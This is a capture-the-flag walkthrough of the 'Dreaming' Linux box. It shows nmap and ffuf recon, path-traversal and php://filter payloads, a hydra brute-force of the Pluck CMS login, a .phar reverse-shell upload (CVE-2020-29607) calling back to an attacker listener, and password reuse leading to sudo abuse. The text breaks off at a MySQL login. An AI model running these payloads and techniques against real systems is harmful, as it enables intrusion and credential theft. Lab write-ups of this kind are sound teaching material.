Summary
Dreaming is a Linux box built around a Pluck CMS install. Brute-forcing the CMS admin login gives access to the admin panel, which is then abused via a known authenticated file-upload RCE (CVE-2020-29607) to get a reverse shell as www-data. A leftover automation script hands over a system password for lucien, whose limited sudo rule around a mysql.connector script has a classic subprocess(shell=True) command-injection bug: seeding a malicious row in the backing MySQL table lets us dump the script's source (and with it, death's DB credentials) by having the script echo back attacker-controlled shell syntax. From death, a world/group-writable copy of the system shutil.py module - imported by a root-run backup script - gives a classic Python library-hijack path: injecting a command into shutil.py gets executed with root privileges the next time the backup job (or any root process that imports shutil) runs, letting us chmod the final flag readable.
Attack Chain
nmap -> SSH + Apache, /app/ directory listing -> Pluck CMS 4.7.13
|
Pluck LFI/RCE filename filter blocks direct path traversal + php://filter
|
hydra brute-force of Pluck admin login -> "password"
|
Pluck CMS admin panel -> known CVE-2020-29607 (auth'd file upload RCE, .phar bypass)
|
Reverse shell as www-data
|
/opt/test.py (lucien-owned) leaks a password reused for lucien's system account -> su lucien
|
sudo -u death allowed script (getDreams.py) has subprocess(shell=True) command injection via MySQL data
|
Injected $(cat getDreams.py) via MySQL row -> leaks death's DB password AND death's system password
|
su death -> death_flag.txt
|
World/group-writable /usr/lib/python3.8/shutil.py, imported by root-run restore.py/cron
|
Inject os.system() into shutil.py -> executes as root on next import -> chmod flag readable
|
morpheus_flag.txt
Recon
nmap -A -Pn <MACHINE_IP> -o nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 5c:14:c0:ac:47:41:97:ab:c6:bc:23:1d:6c:93:8e:96 (RSA)
| 256 07:5b:aa:2e:f1:fd:08:fd:85:58:53:50:7a:61:10:58 (ECDSA)
|_ 256 09:06:07:6a:03:31:3b:12:ea:31:2d:12:4c:88:cc:66 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Only SSH and HTTP open. The web root is the stock Apache default page:
curl http://<MACHINE_IP>
<title>Apache2 Ubuntu Default Page: It works</title>
...
It works!
This is the default welcome page used to test the correct operation of the Apache2 server after installation on Ubuntu systems.
...
[default Apache2 Ubuntu boilerplate - no useful content, truncated]
Directory brute-force found an /app/ directory:
ffuf -u http://<MACHINE_IP>/FUZZ -w /usr/share/wordlists/dirb/big.txt
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 48ms]
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 2620ms]
app [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 42ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 37ms]
:: Progress: [20469/20469] :: Job [1/1] :: 975 req/sec :: Duration: [0:00:24] :: Errors: 0 ::
curl http://<MACHINE_IP>/app/
<h1>Index of /app</h1>
<tr><td><a href="/">Parent Directory</a></td></tr>
<tr><td><a href="pluck-4.7.13/">pluck-4.7.13/</a></td><td align="right">2020-01-29 08:55 </td></tr>
Directory listing reveals a Pluck CMS 4.7.13 install.
curl -L http://<MACHINE_IP>/app/pluck-4.7.13/
<meta name="generator" content="pluck 4.7.13" />
<title>dreaming - dreaming</title>
...
<h1 title="dreaming">dreaming</h1>
<h2 title="dreaming">dreaming</h2>
What power would hell have if those here imprisoned were not able to dream of heaven?
...
<a href="/app/pluck-4.7.13/login.php">admin</a> | powered by <a href="http://www.pluck-cms.org">pluck</a>
Vulnerability Attempt: LFI via ?file= parameter (blocked)
Pluck's ?file= page-selector parameter looked like a classic LFI candidate:
curl 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=../../../etc/passwd'
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
curl -v 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=../../../etc/passwd'
< HTTP/1.1 200 OK
< Set-Cookie: PHPSESSID=6bc61nh00ij5f553ob6mr04cih; path=/
< Content-Length: 93
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
Tried a php://filter wrapper to read source instead of triggering the traversal filter directly:
curl -s 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=/etc/passwd'
curl -s 'http://<MACHINE_IP>/app/pluck-4.7.13/?file=php://filter/convert.base64-encode/resource=data/settings/pass.php'
A hacking attempt has been detected. For security reasons, we're blocking any code execution.
Both blocked - Pluck has a built-in input filter on ?file= that catches path traversal and stream wrappers alike. Abandoned this path and moved to the admin login instead.
Vulnerability: Weak Pluck Admin Credentials (Brute Force)
curl -s -b pluck-cookies.txt 'http://<MACHINE_IP>/app/pluck-4.7.13/admin.php' | grep -i "logged\|welcome\|admin\|logout"
<title>pluck 4.7.13 - not logged in</title>
<li>not logged in</li>
<div id="content"><div class="notice">You are not logged in! A moment, please...</div>
Pluck's login is a single password field (no username). Confirmed the login endpoint and its failure message:
curl -s -c pluck-cookies.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d 'cont1=admin&bogus=&submit=Log+in' -L
<div class="error">Password incorrect.</div>
Manual guesses came up empty:
for pass in password 1234 pluck admin123 root dreaming; do
echo -n "Trying $pass: "
curl -s -c /tmp/c.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d "cont1=$pass&bogus=&submit=Log+in" -L | grep -o "not logged in\|logged in\|Welcome"
done
Trying password: Trying 1234: Trying pluck: Trying admin123: Trying root: Trying dreaming:
(No hits - grep found nothing worth printing on any of these, which is a hint the response wording doesn't match those literal strings; time to automate properly.) Ran it through hydra against rockyou.txt:
hydra -l admin -P /usr/share/wordlists/rockyou.txt <MACHINE_IP> http-post-form "/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect" -t 30 -V
[DATA] max 30 tasks per 1 server, overall 30 tasks, 14344399 login tries (l:1/p:14344399), ~478147 tries per task
[DATA] attacking http-post-form://<MACHINE_IP>:80/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=Password incorrect
[ATTEMPT] target <MACHINE_IP> - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)
...
[80][http-post-form] host: <MACHINE_IP> login: admin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-08-10 12:20:30
Password is simply password. Confirmed:
curl -s -c pluck-cookies.txt -X POST 'http://<MACHINE_IP>/app/pluck-4.7.13/login.php' -d 'cont1=password&bogus=&submit=Log+in' -L
<div id="content"><div class="success">Password correct. Logging you in...</div><meta http-equiv="refresh" content="1; url=admin.php?action=start" />
Vulnerability: CVE-2020-29607 - Pluck CMS Authenticated File Upload RCE
searchsploit pluck 4.7.13
Exploit Title | Path
-------------------------------------------------------------------------------|---------------------------------
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated) | php/webapps/49909.py
Confirmed the technique via public writeup (loopspell.medium.com/cve-2020-29607) - Pluck blocks .php uploads by extension, but the block can be bypassed by uploading a .phar file (still executed as PHP by the server) containing a reverse shell payload.
Manual steps taken through the admin panel (screenshots):
Logged into the admin panel at
admin.php?action=start, opened pages -> manage files.Uploaded a renamed pentestmonkey PHP reverse-shell payload saved as
evil.phar(bypassing the.phpextension filter):
Name: evil.phar
Size: 2588 bytes
Type: applicationoctet-stream
Upload successful!
uploaded files
evil.phar [preview icon] [trash icon]
- Started a listener, then clicked the magnifying-glass "preview" icon next to
evil.pharin the file manager - this requests the uploaded file directly, causing Apache/PHP to execute it server-side:
penelope -p 4443 listen
[+] Listening for reverse shells on 0.0.0.0:4443 -> 127.0.0.1 * <ATTACKER_IP>
[+] [New Reverse Shell] => ip-10-48-167-123 <MACHINE_IP> Linux-x86_64 www-data(33) Session ID <1>
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
[+] Session log: /root/.penelope/sessions/ip-10-48-167-123~<MACHINE_IP>-Linux-x86_64/2026_08_10-12_43_45-578-www-data(33).log
whoami; id; groups
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
Post-Exploitation - Enumerating Home Directories
ls -la /
drwxrwxr-- 2 root saviors 4096 Jul 28 2023 kingdom_backup
...
ls -la /home
drwxr-xr-x 4 death death 4096 Aug 25 2023 death
drwxr-xr-x 5 lucien lucien 4096 Aug 25 2023 lucien
drwxr-xr-x 3 morpheus morpheus 4096 Aug 7 2023 morpheus
drwxr-xr-x 4 ubuntu ubuntu 4096 May 18 2025 ubuntu
death's and morpheus's flags are both permission-denied to www-data:
cat /home/death/death_flag.txt
cat: /home/death/death_flag.txt: Permission denied
Found a file owned by lucien sitting in a world-readable location:
find / -type f -user lucien 2>/dev/null
/opt/test.py
/home/lucien/.sudo_as_admin_successful
/home/lucien/.mysql_history
/home/lucien/.bash_history
/home/lucien/.profile
/home/lucien/.bash_logout
/home/lucien/.bashrc
/home/lucien/lucien_flag.txt
cat /opt/test.py
import requests
#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "HeyLucien#@1999!"
data = {
"cont1":password,
"bogus":"",
"submit":"Log+in"
}
req = requests.post(url,data=data)
if "Password correct." in req.text:
print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
print("Something is wrong. Status Code: " + str(req.status_code))
print("Results:\n" + req.text)
This was written to test the Pluck admin password, but lucien reused the same password for his system account:
su lucien
Password:
lucien@ip-10-48-167-123:/home$ whoami
lucien
lucien@ip-10-48-167-123:/home$ id
uid=1000(lucien) gid=1000(lucien) groups=1000(lucien),4(adm),24(cdrom),30(dip),46(plugdev)
cat lucien_flag.txt
-
Privilege Escalation - lucien to death via subprocess Command Injection
cat .bash_history
ls
cd /etc/ssh/
...
mysql -u lucien -plucien42DBPASSWORD
...
sudo -l
/usr/bin/python3 /home/death/getDreams.py
sudo -u death /usr/bin/python3 /home/death/getDreams.py
...
.bash_history leaks lucien's own MySQL password, and shows the exact sudo invocation he'd already used.
sudo -l
User lucien may run the following commands on ip-10-48-167-123:
(death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
lucien can run one specific script as death, no password needed. Can't read the script directly (death-owned, execute-only for others):
cat /home/death/getDreams.py
cat: /home/death/getDreams.py: Permission denied
Ran it as allowed, to see what it does:
sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky
Bob + Exploring ancient ruins
Carol + Becoming a successful entrepreneur
Dave + Becoming a professional musician
It's reading dreamer/dream pairs from a MySQL table and echoing them out. Logged in with lucien's leaked DB password to inspect the table directly:
mysql -u lucien -plucien42DBPASSWORD